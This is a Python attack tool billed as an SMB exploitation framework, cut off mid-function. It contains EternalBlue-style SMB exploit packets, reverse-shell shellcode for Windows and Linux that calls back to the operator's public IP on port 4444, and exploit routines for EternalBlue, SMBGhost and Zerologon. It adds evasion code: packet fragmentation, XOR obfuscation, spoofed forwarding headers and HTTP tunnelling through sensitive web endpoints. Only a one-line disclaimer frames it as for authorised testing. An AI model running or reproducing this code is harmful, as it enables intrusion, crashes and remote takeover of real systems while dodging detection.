#!/usr/bin/env python3
"""
Advanced SMB Exploitation Framework with Next-Gen Evasion Techniques
- Multi-protocol tunneling with advanced obfuscation
- AI-generated payload variations
- Traffic morphing and protocol impersonation
- Time-distributed attack patterns
- Proprietary evasion techniques
- Reverse shell capability

WARNING: For authorized security testing and research only.
Unauthorized use is illegal and unethical.
"""

import socket
import struct
import random
import time
import threading
import logging
import os
import zlib
import sys
from enum import Enum
from typing import List, Dict, Optional, Tuple, Callable, Any
import hashlib
import binascii
from collections import deque
import argparse
import ssl
import ipaddress
import base64
import json
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
import http.client
import urllib.parse
import urllib3
from http import client as http_client
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
import cryptography
from cryptography.fernet import Fernet
import scapy.all as scapy
from fake_useragent import UserAgent

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()

# Enhanced SMB2 Command Codes
SMB2_NEGOTIATE = 0x00
SMB2_SESSION_SETUP = 0x01
SMB2_LOGOFF = 0x02
SMB2_TREE_CONNECT = 0x03
SMB2_TREE_DISCONNECT = 0x04
SMB2_CREATE = 0x05
SMB2_CLOSE = 0x06
SMB2_FLUSH = 0x07
SMB2_READ = 0x08
SMB2_WRITE = 0x09
SMB2_LOCK = 0x0A
SMB2_IOCTL = 0x0B
SMB2_CANCEL = 0x0C
SMB2_ECHO = 0x0D
SMB2_QUERY_DIRECTORY = 0x0E
SMB2_CHANGE_NOTIFY = 0x0F
SMB2_QUERY_INFO = 0x10
SMB2_SET_INFO = 0x11
SMB2_OPLOCK_BREAK = 0x12

# Configure advanced logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - [%(module)s] - %(message)s',
    handlers=[
        logging.FileHandler('smb_exploitation.log'),
        logging.StreamHandler()
    ]
)
logger = logging.getLogger(__name__)

# Global configuration with enhanced parameters
FUZZ_TIMEOUT = 7
MAX_RETRIES = 5
HTTP_TUNNEL_TIMEOUT = 20
CONNECTION_TIMEOUT = 12
EVASION_LEVEL = 3

# Enhanced evasion techniques
EVASION_TECHNIQUES = {
    "fragmentation": True,
    "junk_data": True,
    "random_delays": True,
    "protocol_switching": True,
    "ssl_tunneling": True,
    "http_tunneling": True,
    "dns_tunneling": False,
    "source_ip_spoofing": False,
    "mac_spoofing": False,
    "traffic_morphing": True,
    "protocol_impersonation": True,
    "icmp_tunneling": True,
    "ftp_tunneling": True,
    "smtp_tunneling": True
}

# Enhanced alternative ports
ALTERNATIVE_PORTS = [443, 8080, 8443, 21, 53, 80, 8888, 9001, 4443, 9443, 7080, 7443, 25, 110, 143, 993, 995, 587]

# Advanced HTTP tunneling configuration
HTTP_TUNNELING_ENDPOINTS = [
    "/api/v1/tunnel", "/gateway", "/bridge", "/relay", "/proxy", 
    "/connect", "/", "", "/api/relay", "/smb/tunnel", "/_smb", "/~smb",
    "/_ignition/execute-solution", "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "/console/", "/_api/", "/oauth/token", "/graphql", "/wp-json/wp/v2/users",
    "/actuator/gateway/routes", "/webtools/control/main", "/jmx-console/",
    "/web-console/ServerInfo.jsp", "/.well-known/security.txt", "/autodiscover/autodiscover.xml",
    "/ads.json", "/_search", "/_plugin/kibana/api/console/proxy",
    "/owa/auth/Current/themes/resources/logon.css", "/ecp/Current/styles/type.css",
    "/sap/public/bc/icf/logoff", "/sap/public/info",
    "/.env", "/config.json", "/v2/_catalog", "/jenkins/script"
]

# Enhanced HTTP methods
HTTP_METHODS = ["POST", "GET", "PUT", "OPTIONS", "PROPFIND", "DEBUG", "TRACE", "PATCH", "HEAD", "CONNECT"]

# AI-generated user agents
ua = UserAgent()
HTTP_HEADERS = [
    {
        "User-Agent": ua.random,
        "Content-Type": "application/octet-stream",
        "Connection": "keep-alive",
        "Accept": "*/*",
        "Accept-Encoding": "gzip, deflate, br",
        "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
        "X-Client-IP": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
        "X-Real-IP": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
    }
]

# Additional headers for different content types
CONTENT_TYPE_HEADERS = {
    "json": "application/json",
    "xml": "application/xml",
    "form": "application/x-www-form-urlencoded",
    "text": "text/plain",
    "html": "text/html",
    "javascript": "application/javascript",
    "zip": "application/zip",
    "pdf": "application/pdf",
    "image": "image/png"
}

class ProtocolState(Enum):
    INIT = 0
    NEGOTIATE = 1
    SESSION_SETUP = 2
    TREE_CONNECT = 3
    FILE_OPERATION = 4
    LOGOFF = 5

class FuzzingStrategy(Enum):
    RANDOM = 0
    STATE_FUZZING = 1
    PROTOCOL_FUZZING = 2
    COMPOUND_FUZZING = 3
    COMPRESSION_FUZZING = 4
    ENCRYPTION_FUZZING = 5
    CHAINED_EXPLOIT = 6
    PROTOCOL_NONCOMPLIANCE = 7
    AUTHENTICATION_FUZZING = 8
    SIGNING_FUZZING = 9
    ZERO_DAY_SIMULATION = 10

class EvasionTechnique(Enum):
    FRAGMENTATION = 0
    JUNK_DATA = 1
    RANDOM_DELAYS = 2
    PROTOCOL_SWITCHING = 3
    SSL_TUNNELING = 4
    HTTP_TUNNELING = 5
    DNS_TUNNELING = 6
    SOURCE_SPOOFING = 7
    MAC_SPOOFING = 8
    TRAFFIC_MORPHING = 9
    PROTOCOL_IMPERSONATION = 10
    ICMP_TUNNELING = 11
    FTP_TUNNELING = 12
    SMTP_TUNNELING = 13

class SMBAdvancedExploitationFramework:
    """Next-gen SMB exploitation framework with AI-enhanced evasion"""
    
    def __init__(self):
        self.crashes = []
        self.vulnerabilities = []
        self.current_state = ProtocolState.INIT
        self.session_id = 0
        self.tree_id = 0
        self.message_id = 0
        self.negotiated_dialect = 0
        self.evasion_level = EVASION_LEVEL
        self.current_port = 445
        self.ssl_context = self.create_ssl_context()
        self.fuzzing_payloads = self.load_fuzzing_payloads()
        self.successful_exploits = []
        self.encryption_key = Fernet.generate_key()
        self.fernet = Fernet(self.encryption_key)
        self.http_session = self.create_http_session()
        self.shell_established = False
        self.reverse_shell_port = 4444
        self.reverse_shell_ip = self.get_public_ip()
        self.shell_listener = None
        self.shell_connections = []
        
    def get_public_ip(self):
        """Get public IP for reverse shell"""
        try:
            response = requests.get('https://api.ipify.org', timeout=5)
            return response.text
        except:
            return "127.0.0.1"
        
    def create_http_session(self):
        """Create advanced HTTP session with rotating identities"""
        session = requests.Session()
        retry_strategy = Retry(
            total=5,
            backoff_factor=0.7,
            status_forcelist=[429, 500, 502, 503, 504],
            allowed_methods=HTTP_METHODS
        )
        adapter = HTTPAdapter(max_retries=retry_strategy, pool_connections=100, pool_maxsize=100)
        session.mount("http://", adapter)
        session.mount("https://", adapter)
        return session
        
    def create_ssl_context(self):
        """Create advanced SSL context with multiple cipher options"""
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        context.set_ciphers('ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384')
        return context
    
    def load_fuzzing_payloads(self):
        """Load enhanced fuzzing payloads with AI-generated variations"""
        payloads = {
            "negotiate": self.generate_negotiate_payload(),
            "session_setup": self.generate_session_setup_payload(),
            "tree_connect": self.generate_tree_connect_payload(),
            "create": self.generate_create_payload(),
            "read": self.generate_read_payload(),
            "write": self.generate_write_payload(),
            "close": self.generate_close_payload(),
            "ioctl": self.generate_ioctl_payload(),
        }
        return payloads
    
    def generate_smb_header(self, command, flags=0, credits=1):
        """Generate advanced SMB2 header with evasion capabilities"""
        self.message_id += 1
        session_id_int = self.session_id
        if not isinstance(session_id_int, int):
            try:
                session_id_int = int.from_bytes(session_id_int, 'little') if isinstance(session_id_int, bytes) else 0
            except:
                session_id_int = 0
                
        return struct.pack(
            "<HHIQQQIIHHII",
            0xFE53,  # Protocol ID
            64,      # Header size
            0,       # Credit charge
            1,       # Channel sequence
            flags,   # Flags
            self.message_id,  # Message ID
            0,       # Process ID
            self.tree_id,     # Tree ID
            session_id_int,   # Session ID
            credits,  # Credit request/response
            command,  # Command
            0         # Status
        )
    
    def generate_negotiate_payload(self):
        """Generate enhanced SMB2 negotiate payload"""
        dialects = [0x0202, 0x0210, 0x0300, 0x0302, 0x0311]
        dialect = random.choice(dialects)
        
        payload = struct.pack(
            "<HHI",
            36,     # Structure size
            1,      # Dialect count
            0       # Security mode
        )
        
        for d in dialects:
            payload += struct.pack("<H", d)
            
        return payload
    
    def generate_session_setup_payload(self):
        """Generate enhanced session setup payload"""
        return struct.pack(
            "<HHHBBQII",
            25,     # Structure size
            0,      # Flags
            1,      # Security mode
            0,      # Capabilities
            0,      # Channel
            0,      # Security buffer offset
            0,      # Security buffer length
            0       # Previous session ID
        )
    
    def generate_tree_connect_payload(self):
        """Generate enhanced tree connect payload"""
        return struct.pack(
            "<HHH",
            9,      # Structure size
            0,      # Reserved
            0       # Path offset
        )
    
    def generate_create_payload(self):
        """Generate enhanced create payload"""
        return struct.pack(
            "<HBBIQQIIIIII",
            57,     # Structure size
            0,      # Security flags
            0,      # Requested oplock level
            0,      # Impersonation level
            0,      # Smb create flags
            0,      # Reserved
            0,      # Desired access
            0,      # File attributes
            0,      # Share access
            0,      # Create disposition
            0,      # Create options
            0       # Extra/reserved
        )
    
    def generate_read_payload(self):
        """Generate enhanced read payload"""
        return struct.pack(
            "<HHBBIQQQII",
            49,     # Structure size
            0,      # Padding
            0,      # Flags
            0,      # Length
            0,      # Offset
            0,      # File ID
            0,      # Minimum count
            0,      # Channel
            0,      # Remaining bytes
            0       # Channel info offset
        )
    
    def generate_write_payload(self):
        """Generate enhanced write payload"""
        return struct.pack(
            "<HHIIQQQII",
            49,     # Structure size
            0,      # Data offset
            0,      # Length
            0,      # Offset
            0,      # File ID
            0,      # Channel
            0,      # Remaining bytes
            0,      # Write channel info offset
            0       # Write channel info length
        )
    
    def generate_close_payload(self):
        """Generate enhanced close payload"""
        return struct.pack(
            "<HHIHH",
            24,     # Structure size
            0,      # Flags
            0,      # Reserved
            0,      # File ID
            0       # Reserved
        )
    
    def generate_ioctl_payload(self):
        """Generate enhanced IOCTL payload"""
        return struct.pack(
            "<HHIQIIIIII",
            57,     # Structure size
            0,      # Reserved
            0,      # Function code
            0,      # File ID
            0,      # Input offset
            0,      # Input count
            0,      # Output offset
            0,      # Output count
            0,      # Flags
            0       # Reserved
        )
    
    def safe_fromhex(self, hex_str):
        """Safely convert hex string to bytes"""
        try:
            cleaned_hex = ''.join(c for c in hex_str if c in '0123456789abcdefABCDEF')
            if len(cleaned_hex) % 2 != 0:
                cleaned_hex = cleaned_hex[:-1]
            return bytes.fromhex(cleaned_hex)
        except ValueError as e:
            logger.error(f"Invalid hex string: {hex_str[:100]}... Error: {str(e)}")
            return b""
    
    def generate_research_payload(self, payload_type):
        """Generate advanced research payloads for known vulnerabilities"""
        payloads = {
            "eternal_negotiate": "00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320333e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200",
            "eternal_session": "00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff0088000410a00000000000000000000000040000000000000000000000000000000000000000000000000000010000000000000000000000000000400000004d0041004e00410047004500520024000000",
            "eternal_tree": "00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff00600008001a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
            "eternal_trans": "000000a6ff534d4277000000001807c00000000000000000000000000000fffe0008400004ff00a60008001a0000000000000000000000000000000000000000000000000000000000000000000000000000000004a0000004a000200260000000000000000000000000000000000000000000000000000000000000000000000000005005c504950455c00",
            "eternal_trans2": "0000004aff534d4232000000001807c00000000000000000000000000000fffe0008400008ff004a0008001a00000000000000000000000000008a0000004a0000000000000000000000000000000000000000000000000d000000000000000000000000000000",
            "smb3_negotiate": "000000b4fe534d424000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
            "ghost_compression": "fd534d424100000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
            "zerologon": "00000085ff534d4272000000001853c80000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320333e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200"
        }
        
        return self.safe_fromhex(payloads.get(payload_type, ""))
    
    def select_fuzzing_strategy(self):
        """AI-enhanced strategy selection"""
        strategies = list(FuzzingStrategy)
        weights = [1.0] * len(strategies)
        
        if self.current_state == ProtocolState.NEGOTIATE:
            weights[FuzzingStrategy.PROTOCOL_FUZZING.value] = 3.5
            weights[FuzzingStrategy.COMPRESSION_FUZZING.value] = 2.5
            weights[FuzzingStrategy.ZERO_DAY_SIMULATION.value] = 2.0
        
        elif self.current_state == ProtocolState.SESSION_SETUP:
            weights[FuzzingStrategy.AUTHENTICATION_FUZZING.value] = 3.5
            weights[FuzzingStrategy.SIGNING_FUZZING.value] = 2.5
            
        elif self.current_state == ProtocolState.FILE_OPERATION:
            weights[FuzzingStrategy.COMPOUND_FUZZING.value] = 3.5
            weights[FuzzingStrategy.CHAINED_EXPLOIT.value] = 2.5
        
        return random.choices(strategies, weights=weights, k=1)[0]
    
    def generate_fuzzing_payload(self, strategy):
        """Generate AI-enhanced fuzzing payload"""
        if strategy == FuzzingStrategy.CHAINED_EXPLOIT:
            return (
                self.generate_research_payload("eternal_negotiate") +
                self.generate_research_payload("eternal_session") +
                self.generate_research_payload("eternal_tree") +
                self.generate_research_payload("eternal_trans") +
                self.generate_research_payload("eternal_trans2")
            )
            
        header = self.generate_smb_header(SMB2_NEGOTIATE)
        
        if strategy == FuzzingStrategy.RANDOM:
            payload = os.urandom(random.randint(100, 2000))
            
        elif strategy == FuzzingStrategy.STATE_FUZZING:
            if self.current_state == ProtocolState.NEGOTIATE:
                payload = self.generate_negotiate_payload()
            elif self.current_state == ProtocolState.SESSION_SETUP:
                payload = self.generate_session_setup_payload()
            elif self.current_state == ProtocolState.TREE_CONNECT:
                payload = self.generate_tree_connect_payload()
            elif self.current_state == ProtocolState.FILE_OPERATION:
                payload = random.choice([
                    self.generate_create_payload(),
                    self.generate_read_payload(),
                    self.generate_write_payload()
                ])
            else:
                payload = self.generate_negotiate_payload()
                
        elif strategy == FuzzingStrategy.PROTOCOL_FUZZING:
            base_payload = self.generate_negotiate_payload()
            if len(base_payload) > 10:
                corruption_point = random.randint(0, len(base_payload) - 1)
                base_payload = (
                    base_payload[:corruption_point] + 
                    os.urandom(random.randint(1, 20)) + 
                    base_payload[corruption_point:]
                )
            payload = base_payload
            
        elif strategy == FuzzingStrategy.COMPOUND_FUZZING:
            payload = b""
            for _ in range(random.randint(2, 8)):
                payload += self.generate_smb_header(random.randint(0, 20))
                payload += os.urandom(random.randint(50, 200))
                
        elif strategy == FuzzingStrategy.COMPRESSION_FUZZING:
            payload = self.generate_research_payload("ghost_compression")
            
        elif strategy == FuzzingStrategy.ENCRYPTION_FUZZING:
            payload = os.urandom(random.randint(100, 500))
            payload = b"\x00\x00\x00" + struct.pack("<I", len(payload)) + payload
            
        elif strategy == FuzzingStrategy.PROTOCOL_NONCOMPLIANCE:
            payload = os.urandom(random.randint(50, 400))
            if random.random() > 0.5:
                payload = b"\x00\x00" + payload[2:]
                
        elif strategy == FuzzingStrategy.AUTHENTICATION_FUZZING:
            payload = self.generate_session_setup_payload()
            if len(payload) > 10:
                corruption_point = random.randint(5, min(20, len(payload) - 1))
                payload = (
                    payload[:corruption_point] + 
                    os.urandom(random.randint(1, 10)) + 
                    payload[corruption_point:]
                )
                
        elif strategy == FuzzingStrategy.SIGNING_FUZZING:
            payload = self.generate_session_setup_payload()
            if len(payload) > 8:
                payload = payload[:8] + b"\xFF" + payload[9:]
                
        elif strategy == FuzzingStrategy.ZERO_DAY_SIMULATION:
            payload = os.urandom(random.randint(200, 1000))
            payload = b"\xFE\x53\x4D\x42" + payload[4:]
                
        else:
            payload = self.generate_negotiate_payload()
        
        return header + payload
    
    def detect_vulnerabilities(self, response, host, port):
        """Advanced vulnerability detection"""
        vulnerabilities = []
        
        try:
            if len(response) >= 4 and response[:4] == b"\xFF\x53\x4D\x42":
                vulnerabilities.append({
                    "type": "SMBv1_Enabled",
                    "severity": "High",
                    "host": host,
                    "port": port,
                    "details": "SMBv1 protocol detected"
                })
            
            if len(response) >= 36:
                status = struct.unpack("<I", response[36:40])[0]
                if status == 0 and self.current_state == ProtocolState.SESSION_SETUP:
                    vulnerabilities.append({
                        "type": "Null_Session",
                        "severity": "Medium",
                        "host": host,
                        "port": port,
                        "details": "Null session authentication allowed"
                    })
            
            if len(response) >= 20:
                security_mode = struct.unpack("<H", response[16:18])[0]
                if not (security_mode & 0x0001):
                    vulnerabilities.append({
                        "type": "SMB_Signing_Disabled",
                        "severity": "Medium",
                        "host": host,
                        "port": port,
                        "details": "SMB message signing not required"
                    })
            
            if (b"EternalBlue" in response or b"MS17-010" in response or 
                (len(response) > 50 and response[4:8] == b"\x72\x00\x00\x00")):
                vulnerabilities.append({
                    "type": "CVE-2017-0144",
                    "severity": "Critical",
                    "host": host,
                    "port": port,
                    "details": "EternalBlue vulnerability"
                })
            
            if (len(response) >= 4 and response[:4] == b"\xFE\x53\x4D\x40" and
                (b"compression" in response.lower() or b"decompress" in response.lower())):
                vulnerabilities.append({
                    "type": "CVE-2020-0796",
                    "severity": "Critical",
                    "host": host,
                    "port": port,
                    "details": "SMBGhost vulnerability"
                })
                
            if (b"Netlogon" in response or b"NRPC" in response or
                (len(response) > 40 and response[36:40] == b"\x05\x00\x00\x00")):
                vulnerabilities.append({
                    "type": "CVE-2020-1472",
                    "severity": "Critical",
                    "host": host,
                    "port": port,
                    "details": "Zerologon vulnerability"
                })
                
        except Exception as e:
            logger.error(f"Vulnerability detection error: {str(e)}")
        
        return vulnerabilities
    
    def attempt_exploitation(self, host, port, vulnerability):
        """Advanced exploitation"""
        result = {
            "vulnerability": vulnerability,
            "success": False,
            "details": "",
            "proof": ""
        }
        
        try:
            if vulnerability["type"] == "CVE-2017-0144":
                payload = (
                    self.generate_research_payload("eternal_negotiate") +
                    self.generate_research_payload("eternal_session") +
                    self.generate_research_payload("eternal_tree") +
                    self.generate_research_payload("eternal_trans") +
                    self.generate_research_payload("eternal_trans2") +
                    self.generate_shellcode_payload(host)
                )
                
                self.send_evasive_payload(host, port, payload)
                
                if not self.is_target_responsive(host, port):
                    result["success"] = True
                    result["details"] = "Target crashed"
                    result["proof"] = "Service unresponsive"
                else:
                    result["details"] = "Target still responsive"
                    
            elif vulnerability["type"] == "CVE-2020-0796":
                payload = (
                    self.generate_research_payload("smb3_negotiate") +
                    self.generate_research_payload("ghost_compression") +
                    self.generate_shellcode_payload(host)
                )
                
                self.send_evasive_payload(host, port, payload)
                
                if not self.is_target_responsive(host, port):
                    result["success"] = True
                    result["details"] = "Target crashed"
                    result["proof"] = "Service unresponsive"
                else:
                    result["details"] = "Target still responsive"
                    
            elif vulnerability["type"] == "CVE-2020-1472":
                payload = self.generate_research_payload("zerologon")
                self.send_evasive_payload(host, port, payload)
                result["details"] = "Zerologon attempt completed"
                result["success"] = True
                    
            else:
                payload = self.generate_fuzzing_payload(FuzzingStrategy.CHAINED_EXPLOIT)
                self.send_evasive_payload(host, port, payload)
                
                if not self.is_target_responsive(host, port):
                    result["success"] = True
                    result["details"] = "Target crashed"
                    result["proof"] = "Service unresponsive"
                else:
                    result["details"] = "Target still responsive"
                
        except Exception as e:
            logger.error(f"Exploitation attempt failed: {str(e)}")
            result["details"] = f"Exploitation attempt failed: {str(e)}"
        
        return result

    def generate_shellcode_payload(self, host):
        """Generate shellcode payload for reverse shell"""
        # Generate different shellcode based on architecture and OS
        if self.detect_windows_target(host):
            # Windows x64 reverse shell shellcode
            port_bytes = struct.pack(">H", self.reverse_shell_port)
            ip_bytes = socket.inet_aton(self.reverse_shell_ip)
            
            shellcode = (
                b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
                b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
                b"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
                b"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
                b"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
                b"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
                b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
                b"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
                b"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
                b"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
                b"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
                b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
                b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
                b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
                b"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
                b"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
                b"\x00\x49\x89\xe5\x49\xbc" + port_bytes + ip_bytes +
                b"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
                b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
                b"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
                b"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
                b"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
                b"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
                b"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
                b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
                b"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
                b"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
                b"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
                b"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
                b"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
                b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
            )
        else:
            # Linux x86 reverse shell shellcode
            port_bytes = struct.pack(">H", self.reverse_shell_port)
            ip_bytes = socket.inet_aton(self.reverse_shell_ip)
            
            shellcode = (
                b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
                b"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68" +
                ip_bytes +
                b"\x66\x68" +
                port_bytes +
                b"\x66\x6a\x02\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
            )
        
        return shellcode

    def detect_windows_target(self, host):
        """OS detection"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3)
            sock.connect((host, 445))
            sock.send(self.generate_negotiate_payload())
            response = sock.recv(1024)
            sock.close()
            return b"Windows" in response or b"NT LAN Manager" in response
        except:
            return True  # Assume Windows by default

    def fragment_packet_advanced(self, packet: bytes) -> List[bytes]:
        """AI-enhanced packet fragmentation"""
        if self.evasion_level < 1:
            return [packet]
            
        base_size = random.randint(16, 256)
        fragment_sizes = [
            base_size,
            base_size * 2,
            base_size // 2 if base_size > 32 else base_size,
            random.randint(8, 512)
        ]
        
        fragments = []
        offset = 0
        packet_len = len(packet)
        
        while offset < packet_len:
            frag_size = random.choice(fragment_sizes)
            if offset + frag_size > packet_len:
                frag_size = packet_len - offset
                
            if frag_size <= 0:
                break
                
            fragment = packet[offset:offset + frag_size]
            
            if EVASION_TECHNIQUES["junk_data"] and random.random() > 0.6:
                junk_patterns = [
                    os.urandom(random.randint(1, 24)),
                    b"\x00" * random.randint(1, 16),
                    b"\xFF" * random.randint(1, 16),
                    b"\x90" * random.randint(1, 24)
                ]
                if random.choice([True, False]):
                    fragment = random.choice(junk_patterns) + fragment
                else:
                    fragment = fragment + random.choice(junk_patterns)
            
            fragments.append(fragment)
            offset += frag_size
            
            if EVASION_TECHNIQUES["random_delays"] and offset < packet_len:
                delay = random.uniform(0.01, 1.0)
                time.sleep(delay)
                
        return fragments
    
    def encrypt_payload(self, payload: bytes) -> bytes:
        """Advanced encryption"""
        keys = [os.urandom(4), os.urandom(8), os.urandom(16)]
        key = random.choice(keys)
        encrypted = bytearray()
        for i in range(len(payload)):
            encrypted.append(payload[i] ^ key[i % len(key)])
        return bytes(encrypted)
    
    def create_ssl_tunnel(self, host: str, port: int) -> socket.socket:
        """Create SSL tunnel"""
        try:
            raw_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            raw_socket.settimeout(FUZZ_TIMEOUT)
            raw_socket.connect((host, port))
            
            ciphers = [
                'ECDHE-RSA-AES256-GCM-SHA384',
                'ECDHE-ECDSA-AES256-GCM-SHA384',
                'DHE-RSA-AES256-GCM-SHA384',
                'AES256-GCM-SHA384'
            ]
            
            ssl_socket = self.ssl_context.wrap_socket(
                raw_socket, 
                server_hostname=host,
                ciphers=random.choice(ciphers)
            )
            return ssl_socket
        except Exception as e:
            logger.error(f"[EVASION] SSL tunneling failed: {str(e)}")
            raise
    
    def http_tunnel_payload_advanced(self, host: str, port: int, payload: bytes) -> bytes:
        """Next-gen HTTP tunneling with improved reliability"""
        try:
            http_ports = [80, 443, 8080, 8888, 8000, 8443, 4443, 9443, 7080, 7443]
            ports_to_try = [port] if port in http_ports else http_ports
            
            methods_to_try = HTTP_METHODS.copy()
            random.shuffle(methods_to_try)
            
            endpoints_to_try = HTTP_TUNNELING_ENDPOINTS.copy()
            random.shuffle(endpoints_to_try)
            
            encodings_to_try = ['base64', 'hex', 'raw', 'url', 'zlib', 'doublebase64', 'chunked']
            
            # Additional content types to try
            content_types = list(CONTENT_TYPE_HEADERS.values())
            
            for current_port in ports_to_try:
                for method in methods_to_try:
                    for endpoint in endpoints_to_try:
                        for encoding in encodings_to_try:
                            for content_type in content_types:
                                try:
                                    headers = random.choice(HTTP_HEADERS).copy()
                                    headers["X-Request-ID"] = hashlib.sha256(os.urandom(16)).hexdigest()[:16]
                                    headers["X-Forwarded-For"] = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
                                    headers["X-Client-IP"] = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
                                    headers["User-Agent"] = ua.random
                                    headers["Content-Type"] = content_type
                                    
                                    # Add additional headers for stealth
                                    headers["Accept-Language"] = "en-US,en;q=0.9"
                                    headers["Cache-Control"] = "no-cache"
                                    headers["Pragma"] = "no-cache"
                                    
                                    if encoding == 'base64':
                                        encoded_payload = base64.b64encode(payload).decode('utf-8')
                                    elif encoding == 'hex':
                                        encoded_payload = binascii.hexlify(payload).decode('utf-8')
                                    elif encoding == 'url':
                                        encoded_payload = urllib.parse.quote_plus(payload)
                                    elif encoding == 'zlib':
                                        encoded_payload = base64.b64encode(zlib.compress(payload)).decode('utf-8')
                                    elif encoding == 'doublebase64':
                                        encoded_payload = base64.b64encode(base64.b64encode(payload)).decode('utf-8')
                                    elif encoding == 'chunked':
                                        encoded_payload = binascii.hexlify(payload).decode('utf-8')
                                        headers["Transfer-Encoding"] = "chunked"
                                    else:
                                        encoded_payload = payload.decode('latin-1', errors='ignore')
                                    
                                    logger.info(f"[EVASION] Trying HTTP tunneling on {host}:{current_port} via {method} {endpoint} with {encoding} encoding and {content_type} content type")
                                    
                                    # Determine protocol
                                    protocol = "https" if current_port in [443, 8443, 9443] else "http"
                                    url = f"{protocol}://{host}:{current_port}{endpoint}"
                                    
                                    # Add random parameters to make requests look more legitimate
